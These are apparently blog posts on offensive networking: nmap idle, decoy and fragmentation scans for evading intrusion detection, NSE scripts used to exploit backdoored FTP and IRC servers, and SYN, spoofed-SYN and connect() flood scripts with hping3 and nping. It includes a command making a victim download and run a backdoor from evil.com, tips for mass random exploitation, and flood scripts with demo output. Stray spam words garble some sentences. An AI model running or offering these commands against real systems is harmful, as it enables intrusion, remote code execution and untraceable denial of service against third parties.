Nmap – Idle Scan

So, for sale in part one 1 I briefly described several of nmaps IDS/IPS/Firewall evasion techniques, and in this installment (a brief one) I hope to quickly go over another amazing technique: The Idle Scan. This is also kind of a rough article to add to the nmap wiki page on http://blackhatacademy.org , pharmacy which is reopening sometime soon with LOADS of AWESOME new content!

Idle scanning is an INCREDIBLY sneaky scan technique which nmap can implement. The awesome thing about idle scan is that it allows you to scan a host WITHOUT EVER SENDING PACKETS TO IT.

How this works is actually fairly simple, though I must admit it was pretty friggin mind-bending the first time I looked into it. Please note: Idle scans MAY still set off the victims IDS, so I advise -T0 with this, and a hell of a lot of patience. However, seeing as you are not really touching the victim at all (well, the packets don’t seem to come from you, ever) it is fairly safe method.

So, how DOES it work?
Well, I must admit: I am NO expert on TCP/IP – I know a bit, but still have a lot to learn. But, essentially, it uses the IPID field in IP packets. In a basic sense, you find a host that is “idle” – i.e. little to no traffic coming to/from it, and that is your “zombie host”. All scanning activities will APPEAR to be coming from this host.

You send your scan packets TO the victim host (yes, you can use all the fragmentation and such I discussed earlier here, just I do not think traditional decoy’s work – I will have to check this though), pretending to be the zombie host.
Before you send a packet to the target, you send one to the zombie, to get its current IPID.

Now for the cool part. When a box recieves a RST, its IPID does NOT increment/change as RST packets are not replied to (assuming the zombie host is one with a predictable IPID sequence – a lot of boxes just increment by one. Hint from ohdae – Printers!).
HOWEVER, when a host receives a SYN-ACK, its IPID DOES change.

So. When your scan hits an OPEN port on the victim, it replies with a SYN-ACK to the Zombie host. This causes the zombie’s IPID to increment, and when you re-probe the zombie host, its IPID will have incremented.
When you hit a CLOSED port on victim, it sends a RST to Zombie, and… Zombie’s IPID does NOT increment. So, by slowly probing Zombie immediately before + after sending packets to the Victim, you can INDIRECTLY find out what ports on the Victim are open…

Caveat: This scan does have some inherent “fudge factor” and inaccuracy, but by repeating the test a bunch of times you can solve this problem. nmap also seems to have some kind of “magic” that helps here…

For more information on idlescan in nmap: http://nmap.org/book/idlescan.html

Nmap’s man pages make a PARTICULARLY interesting point: What if, you use Zombie(s) that you think might be considered “trusted hosts” by the victim? This is a VERY interesting way of navigating firewalls and such… Think it over…
(Pointer: Say the victims have an exposed network printer that you KNOW is on their internal network. How about zombie scanning their intranet from the outside due to this misconfiguration? Shit like this is why guys like me look like friggin ninjas sometimes (also, yes, I am currently in a state of sleep deprivation, and exhausted. Cut me some slack :P )…)

ANYWAYS, now to the usage:

root@bha:~# nmap -sI zombie.com:23 -T0 victim.tld

This would scan victim.tld, using zombie.com as its “Zombie Host”, and sending the probes to Zombie on port 23 (note: you do need an open port on the zombie for this… The default is 80)

I was going to write more, but then realized that I have not a lot more to say on this. Except that I will be re-writing it and drawing a diagram for the wiki article on Blackhat Academy. http://blackhatacademy.org

Nmap – Basic IDS/Firewall Evasion Techniques

This post is a snippet from a Wiki article I am writing for http://blackhatacademy.org and is nowhere NEAR like the full thing. Keep an eye on BHA – when they reopen there will be all kinds of badassery available :D

Now this article was designed to show the BASICS of IDS/IPS/Firewall evasion using nmap. Not covering Idle/ACK and other scans yet – this is kind of a crash course into several methods.

Evasion and Stealth Techniques

Decoy Scanning Decoy Scanning is a very simple technique nmap can use for obfusticating the original source IP address of a port scan. Essentially it sends some of the probes from spoofed IP addresses that the user specify, decease in the hopes that they “mask” the users true IP address in the targets log files. Remember – the users IP will still be in the logs!

  • Example usage:
    • root@bha:~# nmap -sS -sV -Dmicrosoft.com,github.com,fbi.gov,nsa.gov,google.com target.tld

This would launch a “Stealth SYN” scan with Version Fingerprinting against “target.tld”, masquerading as microsoft.com, fbi.gov, nsa.gov and google.com. Note how the decoys are used in the string: -D[Decoy1],[Decoy2] – a comma seperated list. This is the correct way to structure your decoy lists.

Now, this tactic has several glaring issues.

The users are most likely on a DSL or Cable line. This means the users IP address is going to stand out like a sore thumb as it resolves to a cable/DSL provider and NOT a large corporate/government network. So, if the user ais going to scan using Decoys, they make sure to use IP addresses from similar “internet demographics” as them. I.E: If scanning from a Cable/DSL connection, a users decoy bounces should also be DSL/Cable connections.

The other issue with Decoy scanning is that if the users Decoy’s are not, in fact, online/up, the user may accidentally hoze their target. One method that has been used with success is to quickly scan a few ranges known to have home/DSL lines on them, and use the ones that are “up” as decoys.

—-

Fragmentation

Some firewalls and IDS systems can be evaded by the correct use of packet fragmentation. Essentially this means “splitting” your packets in an attempt to disguise your traffic. It is a somewhat-decent method when combined with other techniques, however it has been known to slow the scan down somewhat.

  • The following scan string is an example:
    • root@bha:~# nmap -sS -sV -f target.tld

This would fragment the packets sent to target.tld to some degree, and for finer grained control over the packet fragmentation you may manually set the MTU value using the —mtu <value> arguement. It is advised to experiment with this in order to find optimal settings for your scanning.

The MTU must be a multiple of 8 (i.e. a legitimate MTU value) for this to work. Otherwise nmap will just throw an error and exit.

Essentially this technique hopes that IDS/switches/firewalls will not do a great job of reassembling the packets sent, and allow “evil” packets through the filters where they are reassembled and interpreted/replied to by the target system.

—-

Data Length

Some firewall/IDS systems either log, or block, the packets sent by nmap for obvious reasons. One common way to “signature” nmap packets is the default data length, so in order to bypass filters and evade IDS systems, you can specify your own data length for the packets using the —data-length=<value> arguement.

  • The following scan string is an example:
    • root@bha:~# nmap -sS -sV —data-length=1337 target.tld

This would scan “target.tld” with packets of “length” 1337. Effectively this technique adds extra “padding” to the packet, making it look less like a scan-packet and more like a legitimate packet.

—-

Timing

NOTE: Timing can be seen as both evasion AND/OR performance related. Staff have no doubt this will cause multiple EDITS so just leave it as-is unless you have a VERY valid reason to edit.

Timing your scans is an excellent way to lower the detection threshold you have. Fast, noisy scans tend to get detected instantly, wheras if the same scan was done incredibly slowly, it has a much smaller chance of detection.

The timing flag works like so: -T<value> where value is 0-5. There are also “key words” you can use like -T aggressive, etc. The key words are paranoid, sneaky, polite, aggressive, insane. They basically do what they say.

  • The following scan string is an example:
    • root@bha:~# nmap -sS -sV -T1 target.tld

This would launch a scan (an incredibly slow one) against target.tld. Remember, slow and sneaky is generally a lot better than loud and fast!

General Evasion Tips:

1. Do several “Scans” of the target. Break your scans up into chunks of “ports of interest”, for example, if you wanted to map out 25 ports on a target server, break them into groups of 5 and scan each group individually with delays between the scans.

2. Layer your source-obfustication techniques. Use both decoys and timing, along with fragmentation, extra “padding”, etc. The more “layers” of hiding the better.
The following scan string is an example:

  • root@bha:~# nmap -Dmicrosoft.com,github.com,fbi.gov,nsa.gov,google.com -sS -sV -T1 -f —mtu=24 —data-length=1227 target.tld
  • The above scan string would use decoys, scan EXTREMELY slowly, fragment the packets, and add padding to them to try make them look more legit.

3. While you should keep your scans slow, you should also keep your “scan time” to a minimum. Break the scan up into several smaller jobs.

Finally, remember: Do not scan any networks you do not own. The information here is so people can see HOW IDS/IPS are evaded for use in pentests or so they can try write IDS/IPS rules to detect these :)

Scanning for Backdoors with the Nmap Scripting Engine

Nmap is not just limited to scanning and host-OS/service version detection and such, drugstore it also features an AWESOME scripting engine (the NSE) which uses LUA for its scripts. I hope to cover many “fun” uses of nmap’s scripting engine over the next while, though this post is going to be a bit… Edgier and more “evil” in a sense. Also VITALLY useful and important for those of you hunting down backdoored boxes!!

Every so often someone pops an open source projects SVN or such, treatment and backdoors the source code. This source code then finds its way onto potentially millions of systems, depending on if/when the breach is detected, or the backdoor is noticed. Sometimes, someone writes an nmap script to scan for such compromised systems, and, god forbid, even exploit them!

We will be showing off the following three scripts in this post, prostate and using it as a primer for using nmap’s scripts. (I will only be giving demo usage of one, the other two are the same and are left to the reader as an exercise.)

ftp-proftpd-backdoor.nse
ftp-vsftpd-backdoor.nse
irc-unrealircd-backdoor.nse

These scripts are intended to locate backdoored installations of ProFTPd, vsFTPd, and UnrealIRCd, respectively.

For the example, we will use: “ftp-proftpd-backdoor.nse”
This script is intended to locate backdoored installations of ProFTPd – OSVDB-ID 69562 – and tests them using the “id” command. Please note, this is regarded as a “remote root” vulnerability and was (And is) actively exploited in the wild.

Basic Usage:
root@bha:~# nmap —script ftp-proftpd-backdoor victim.tld

This simply tests for the vulnerability, using all defaults. Nothing too special, but VERY useful for quickly testing.

Using as an exploit!
This script takes an arguement that allows you to specify a custom command to run on the vulnerable system, which is VERY useful during a penetration test!

root@bha:~# nmap —script ftp-proftpd-backdoor —script-args ftp-proftpd-backdoor.cmd=”wget http://evil.com/backdoor.pl & perl backdoor.pl” victim.tld

Please note the —script-args followed by the arguement (arg=var format) showing what command to run. In this example we have it forcing the vulnerable host to download and run a backdoor. (Yes, another one. This time maybe a reverse shell, or a loader for something like Jynx Rootkit…).

Mass Haxploitation?
Ok. Now for the real blackhats in the audience… Yes, you can scan ranges with this. Just replace target.tld with your standard CIDR range specifier… OR… For those who are less discriminate, the -iR flag and not bothering to specify a target range will simply scan IP’s at random. Further optimizations include the -p21 (only port 21) arguement, the -T5 (Insane scan speed) and -P0 (Don’t waste my time pinging!) arguements…

The other two are similar. To get information on them (an exercise best left to the reader), perhaps the following may be of assistance:

root@bha:~# nmap —script-help ftp-proftpd-backdoor
Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-05-16 00:41 IST

ftp-proftpd-backdoor
Categories: exploit intrusive malware vuln

http://nmap.org/nsedoc/scripts/ftp-proftpd-backdoor.html

Tests for the presence of the ProFTPD 1.3.3c backdoor reported as OSVDB-ID 69562. This script attempts to exploit the backdoor using the innocuous id command by default, but that can be changed with the ftp-proftpd-backdoor.cmd script argument.

See? You can ask for help! Just pass the name of the script to nmap, and it will help you out using the nsedoc engine :)

Another challenge that I put out there for any aspiring evil geniuses: How about using all three scripts AT ONCE? Optimized? It CAN be done, and maybe I will write about it.

If you figure out what I am talking about, toss the optimized strings in a comment :)

// I know I posted this on my Tumblr,  yeah, I am migrating content.

Reflected SYN Floods

Spoofed SYN Flooding – A closer look at Amplification and Reflection.

In the First Part of this series on Denial of Service attacks, I explained how Spoofed SYN Floods worked. I also briefly mentioned in the SYN flood part, how the server replies with *more* data than you sent it.

In most cases anyway, this is true. If I send ONE SYN packet to a server, it normally sends 5-7 SYN-ACK packets back at me, just in case some get lost along the way.

So, for every packet I send, I get several packets back… Bear this in mind as we continue.

The Spoofed SYN flood script shown, spoofs its SOURCE IP as that of a random host. So our victim will be sending this random host a SYN-ACK packet, that the random host never knew was coming. In fact, it will be sending it *several* SYN-ACK packets…
So what does the random-host do about this?

Well, if you receive an erroneous SYN-ACK packet that you never requested, you simply reply with an RST, or RESET packet. This is the cyber-equivalent of “Bugger off”. And you don’t just send one either… You send between five and seven of them…
Now before you start thinking you could kick off some kind of endless loop here, no. If you get a RST you do not reply. Simple as that.

So, are we getting the picture here? We can have an amplification factor of (theoretically) between 25 and 49 times the amount of packets we are flooding with. IN THEORY. Accounting for massive packet losses that tend to happen in flood conditions, we are looking at a more modest 5-6 times amplification… Which is still not bad! Not bad at all! We MAY even get a 10x amplification if we are very lucky…

So, that simple Spoofed SYN Flood script I posted… A lot more lethal now, no?

AS an aside, What if you never bother sending packets to the victim host at all? What if you spoof yourself AS the victim, and spam the entire internet? This is going to give you a 3-4 times amplification, and is the implementation most spoofed-syn-flood users use. I have NO idea why, as it is less efficient. However, it does bypass rate limiting,, so it has its place. I will post up some example code that does this next time I find it…

References/fact checking:
RFC 793
RFC 4987
CERT Advisory 1996-21
Arbor Networks

Layer 4 Denial of Service: SYN/Spoofed SYN Flooding

Layer 4 Denial of Service: SYN/Spoofed SYN Flooding.

Introduction:
Denial of Service attacks are still among the most prevalent online attacks. At first they were seen as a way for IRC users to settle disputes (ok, I put that FAR too nicely. Really a way for pissed off people to piss off other people on IRC…), and eventually they ended up being used for extortion (gief money or we blast ur site offa the internetz!!). However, these days it is not too uncommon to see DoS/DDoS attacks being used either by unscrupulous businesspeople to take out their competitors, or, in recent years, as the primary weapon of hacktivists – for example the “Anonymous” group.

In this, I intend to briefly cover the topic of SYN/Spoofed SYN (and, of course, simple connect()) flooding. Later I will cover UDP flooding and “evil TCP Packets”, etc. The diagrams are courtesy of Encyclopedia Dramatica and Wikipedia, as I saw no real reason to draw my own, what with decent ones already in existence.

Please note, this article assumes you understand the basics of TCP (3 way handshake, flags), however, I will cover those in a later article.

The SYN Flood.
The common, or garden, SYN flood effectively functions by sending many “SYN”, or “Hello” packets to the victim server. What happens then, is the server sends back SYN-ACK packets, and awaits the sender to reply with an ACK, opening a new full-connection. In a SYN flood, you do not reply with an ACK, instead just vomiting more SYN packets at the server, causing its state-table of pending connections to fill up. If you succeed in filling it up, the server cannot accept legitimate connections, causing a denial of service to legitimate clients.

SYN flooding from Encyclopedia Dramatica

Good ole SYN flood... Exhausting the sockets

In some cases the server may have “SYN Cookies” enabled, which migitates this effect. (I will write about these in another article.) In this case, the SYN flood MAY STILL SUCCEED, by simply blasting the server with so much data that it’s bandwidth is exceeded. This is as simple as basic physics – the guy with the bigger pipe wins.

Often scrubs and lamers attempt to SYN flood large servers with their home connection, occasionally they succeed (if the server is not implementing SYN cookies or other mitigation). However, if they must rely on pure bandwidth, they are destined to fail. Epically. This results in both embarrassment, and, in either case, a knock on the door from men in suits who are NOT the mailman :P

For this reason, most people use a botnet to SYN flood. More on this in later article on botnet powered DDoS, and why most botnets do not ACTUALLY SYN flood.

The following BASH script demonstrates a simple SYN flood using HPING3

== SNIP ==

#!/bin/bash
#flood.sh – SYN Flood Demo Script
echo “Launching SYN Flood against $1″
hping3 -S –flood -V $1

== SNIP ==

And here is an example of it being used to flood localhost for several seconds…

root@bt:~# ./flood localhost
Flooding localhost
using lo, addr: 127.0.0.1, MTU: 16436
HPING localhost (lo 127.0.0.1): SPU set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown
^C
— localhost hping statistic —
170179 packets tramitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
root@bt:~#

This was a mere 5 seconds of SYN flooding, and in theory, 170,179 connections would be “pending” on the target box. Likely a hell of a lot less – packet loss, etc, and the fact I was flooding myself, however, I am fairly sure most servers would die fairly fast if subjected to this kind of abuse from someone with a decent upspeed (1gb/s or so?).

Due to firewalls, SYN cookies, and such migitating against this, it would likely fail against most large targets who implement load balancing, etc. However, remember: An attacker can simply DoS your firewall or router… Effectively knocking you out anyway!

Oddly enough, the above also has a tendancy to turn off network capable Sony Bravia TV’s. Which are not renowned for having a hardened TCP stack.

The Spoofed SYN Flood.
The main issue with “vanilla” SYN flooding is that every packet you send at the victim has your IP address stamped on it. Which is how the men in suits know where to come looking for you. Also, the fact of the matter is, their box is spamming packets back at you (and, due to how TCP/IP works, is spamming MORE packets back than you send at it – retransmissions for redundancy), making it not only easy to find you, but also kind of hozing your own connection as well. This is why I consider SYN flooding to be the equivalent of a kamikaze attack of sorts…

So, what do we do about this? Well, you can always spoof the IP address of the sender… Making it non traceable back to you (in theory – some ISP’s “fix” spoofed packets), and also making sure more of your pipe is free for the spamming.

Another point to note: Some DDoS migitation solutions block an IP that they detect is flooding it. Spoofed floods actually can get around some of these “solutions”.

The following BASH script demonstrates this quite well I think…

== SNIP ==

#!/bin/bash
# spoofed.sh – Spoofed SYN Flooding Demonstration Script
echo “Flooding $1 with randomly spoofed SYN packets”
hping3 -S -P -U –flood -V –rand-source $1

== SNIP ==

As you can see, we added the –rand-source operator to hping, making it randomize the packet-sources. This means that they (Theoretically) have no way of tracking us…

And here is an example of it being used to flood localhost for a few seconds…

root@bt:~# ./spoofed localhost
Flooding localhost with randomly spoofed SYN packets
using lo, addr: 127.0.0.1, MTU: 16436
HPING localhost (lo 127.0.0.1): SPU set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown
^C
— localhost hping statistic —
230989 packets tramitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
root@bt:~#

See? A literal shitload of “untraceable” packets have been sent to the target in about 5 seconds, now imagine if this was left running, from a high bandwidth server, for several hours? Or days even?

Your mileage may vary with this – some providers DO “fix” or simply drop spoofed packets, however in a later article I will show you how to test does your provider allow spoofed packets. I just have to find the research some university in America did first… I know I have it saved, but, you know how these things are!

TCP Connect() Flooding.
Now before I get started, connect() flooding is fucking stupid. Seriously. It is inefficent, leaves MASSIVE amounts of logs (you establish a full connection), and generally… Yeah. Sadly, this is incredibly common – in fact – it is the default attack-mode of things like LOIC, etc. Essentially you just establish a whole bunch of connections to the victim server and hope to god you either exceed its connection-limit, or its bandwidth.

Again, horribly inefficient, but that is just the start: It also is damn near GUARENTEED to get you a visit from the “Men in Black” – see the poor LOIC using scrubs who got caught – and it is just… Silly.

The only reason this seems to be so common is because Windows does not easily allow messing with raw sockets/packets, unless you happen to load the winpcap driver. The “Syn Flood” and “SSYN flood” in EVERY Windows bot/flooder/RAT/whatever is really just a TCP CONNECT() flood with LOTS of threads, and closing/opening connections really fast. Unless, of course, the malware author hops into Ring 0 or gets SYSTEM privs and loads the WinPCap or similar driver.
NOTE: Older versions of Windows (XP prior to SP2?) allowed raw sockets!

Now, for this demo script I ended up using nping from the nmap suite, as I wanted to get to grips with it. See it as an upgraded hping. You should try it – I am still experimenting with it, and it looks REALLY cool! Still in development…

== SNIP ==

#!/bin/bash
# tcpconnect.sh – lame tcp connect() flooder
# as you can see, I simply set –rate and -c (count) to big numbers.
echo “TCP Connect flooding $1″
nping –tcp-connect –rate=90000 -c 900000 -q $1

== SNIP ==

So, as you can see, it is a very simple script. Nothing fancy, and now for the demo…

root@bt:~# ./tcpconnect localhost
TCP Connect flooding localhost

Starting Nping 0.5.61TEST5 ( http://nmap.org/nping ) at 2012-05-23 05:40 IST
^CTCP connection attempts: 10965 | Successful connections: 3256 | Failed: 7709 (70.31%)
Tx time: 6.23043s | Tx bytes/s: 140792.96 | Tx pkts/s: 1759.91
Rx time: 6.23043s | Rx bytes/s: 20903.87 | Rx pkts/s: 522.60
Nping done: 1 IP address pinged in 6.23 seconds
root@bt:~#

The output says it all really… How many connections succeeded, how many failed. I had to set the -q arguement lest I be blasted with verbose output – it is INCREDIBLY LOUD about what it is doing!

The main problems with TCP Connect flooding are… EVERYTHING! You cannot spoof your packets, you make a giant bloody mess of the logs, it is horribly inefficient, and it is almost guarenteed to get your ass caught. HOWEVER, it has one simple redeeming feature: It weeds out the idiots from the rest of us :D

Conclusion.
In this article, we briefly went over some of the basic methods of executing Denial of Service attacks, and how they work. Hopefully this will serve to de-mystify these attacks for most of you, and if you understand them, you can maybe migitate against them better.
We also learned that 2 of the three ways discussed will likely get you arrested for various crimes (Denial of Service attacks ARE ILLEGAL!), and that Windows malware has the lamest TCP flooding style ever.

We also have now a decent basis for further articles discussing more advanced techniques!

References/Where content/images/bullshit comes fom:
Wikipedia (Images/Fact checking!)
Encyclopedia Dramatica (Some Images)
Me (cat /dev/brain)
nmap.org
Techworld.com – Extortion via DDoS
DarkVisitor – Extortion via DDoS arrest
LOIC Github
Wired on Anon DDoS attacks
SiliconAngle on LOIC related arrest
Arbor Networks